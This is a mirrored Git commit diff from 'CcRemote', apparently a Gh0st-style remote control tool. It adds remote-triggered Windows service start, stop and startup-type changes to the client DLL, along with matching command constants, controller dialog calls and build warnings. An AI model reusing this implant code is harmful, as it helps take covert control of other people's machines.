mirror of
https://github.com/Cc28256/CcRemote.git
synced 2025-06-09 13:59:50 +00:00
服务控制完善,需要管理员权限才可以执行,如果没有权限的话会造成崩溃,需要后续做判断
This commit is contained in:
parent
4ef747d0db
commit
f62203ff80
Binary file not shown.
@ -108,6 +108,7 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018:
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
|
||||
ServerManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(290): warning C4102: “defaute”: 未引用的标签
|
||||
ShellManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
|
@ -169,3 +169,125 @@ void CServerManager::SendServicesList()
|
||||
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
|
||||
void CServerManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
switch (lpBuffer[0])
|
||||
{
|
||||
case COMMAND_SERVICELIST:
|
||||
SendServicesList();
|
||||
break;
|
||||
case COMMAND_SERVICECONFIG:
|
||||
ServiceConfig((LPBYTE)lpBuffer + 1, nSize - 1);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CServerManager::ServiceConfig(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
BYTE COMMAND = lpBuffer[0];
|
||||
char *m_ServiceName = (char *)(lpBuffer + 1);
|
||||
|
||||
switch (COMMAND)
|
||||
{
|
||||
case COMMAND_SERVICES_START: //start
|
||||
{
|
||||
SC_HANDLE hSCManager1 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
if (NULL != hSCManager1)
|
||||
{
|
||||
SC_HANDLE hService1 = OpenService(hSCManager1, m_ServiceName, SERVICE_ALL_ACCESS);
|
||||
if (NULL != hService1)
|
||||
{
|
||||
StartService(hService1, NULL, NULL);
|
||||
CloseServiceHandle(hService1);
|
||||
}
|
||||
CloseServiceHandle(hSCManager1);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
break;
|
||||
|
||||
case COMMAND_SERVICES_STOP: //stop
|
||||
{
|
||||
SC_HANDLE hSCManager4 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
if (NULL != hSCManager4)
|
||||
{
|
||||
SC_HANDLE hService4 = OpenService(hSCManager4, m_ServiceName, SERVICE_ALL_ACCESS);
|
||||
if (NULL != hService4)
|
||||
{
|
||||
SERVICE_STATUS stat;
|
||||
ControlService(hService4, SERVICE_CONTROL_STOP, &stat);
|
||||
CloseServiceHandle(hService4);
|
||||
}
|
||||
CloseServiceHandle(hSCManager4);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
break;
|
||||
case COMMAND_SERVICES_AUTO: //auto
|
||||
{
|
||||
SC_HANDLE hSCManager2 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
if (NULL != hSCManager2)
|
||||
{
|
||||
SC_HANDLE hService2 = OpenService(hSCManager2, m_ServiceName, SERVICE_ALL_ACCESS);
|
||||
if (NULL != hService2)
|
||||
{
|
||||
SC_LOCK sclLock2 = LockServiceDatabase(hSCManager2);
|
||||
BOOL stat2 = ChangeServiceConfig(
|
||||
hService2,
|
||||
SERVICE_NO_CHANGE,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_NO_CHANGE,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
UnlockServiceDatabase(sclLock2);
|
||||
CloseServiceHandle(hService2);
|
||||
}
|
||||
CloseServiceHandle(hSCManager2);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
break;
|
||||
case COMMAND_SERVICES_MANUAL: // DEMAND_START
|
||||
{
|
||||
SC_HANDLE hSCManager3 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|
||||
if (NULL != hSCManager3)
|
||||
{
|
||||
SC_HANDLE hService3 = OpenService(hSCManager3, m_ServiceName, SERVICE_ALL_ACCESS);
|
||||
if (NULL != hService3)
|
||||
{
|
||||
SC_LOCK sclLock3 = LockServiceDatabase(hSCManager3);
|
||||
BOOL stat3 = ChangeServiceConfig(
|
||||
hService3,
|
||||
SERVICE_NO_CHANGE,
|
||||
SERVICE_DEMAND_START,
|
||||
SERVICE_NO_CHANGE,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
UnlockServiceDatabase(sclLock3);
|
||||
CloseServiceHandle(hService3);
|
||||
}
|
||||
CloseServiceHandle(hSCManager3);
|
||||
}
|
||||
Sleep(500);
|
||||
SendServicesList();
|
||||
}
|
||||
defaute:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
@ -16,10 +16,12 @@ class CServerManager : public CManager
|
||||
public:
|
||||
CServerManager(CClientSocket *pClient);
|
||||
virtual ~CServerManager();
|
||||
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
|
||||
protected:
|
||||
void SendServicesList();
|
||||
LPBYTE getServerList();
|
||||
void ServiceConfig(LPBYTE lpBuffer, UINT nSize);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SERVERMANAGER_H__BAE27F8C_8A1C_4D5B_89F6_FA138B65470E__INCLUDED_)
|
||||
|
Binary file not shown.
@ -198,26 +198,26 @@ void CServerDlg::ServiceConfig(BYTE bCmd)
|
||||
void CServerDlg::OnServerStart()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
ServiceConfig(1);
|
||||
ServiceConfig(COMMAND_SERVICES_START);
|
||||
}
|
||||
|
||||
|
||||
void CServerDlg::OnServerStop()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
ServiceConfig(2);
|
||||
ServiceConfig(COMMAND_SERVICES_STOP);
|
||||
}
|
||||
|
||||
|
||||
void CServerDlg::OnServerAuto()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
ServiceConfig(3);
|
||||
ServiceConfig(COMMAND_SERVICES_AUTO);
|
||||
}
|
||||
|
||||
|
||||
void CServerDlg::OnServerManual()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
ServiceConfig(4);
|
||||
ServiceConfig(COMMAND_SERVICES_MANUAL);
|
||||
}
|
||||
|
Binary file not shown.
@ -78,6 +78,13 @@ enum
|
||||
COMMAND_SERVICELIST, // 刷新服务列表
|
||||
COMMAND_SERVICECONFIG, // 服务端发出的标识
|
||||
|
||||
// 服务管理的操作
|
||||
COMMAND_SERVICES_START = 0x01, // 启动服务
|
||||
COMMAND_SERVICES_STOP, // 停止服务
|
||||
COMMAND_SERVICES_AUTO, // 启动方式 - 自动启动
|
||||
COMMAND_SERVICES_MANUAL, // 启动方式 - 手动启动
|
||||
|
||||
|
||||
// 服务端发出的标识
|
||||
TOKEN_AUTH = 100, // 要求验证
|
||||
TOKEN_HEARTBEAT, // 心跳包
|
||||
|
Loading…
x
Reference in New Issue
Block a user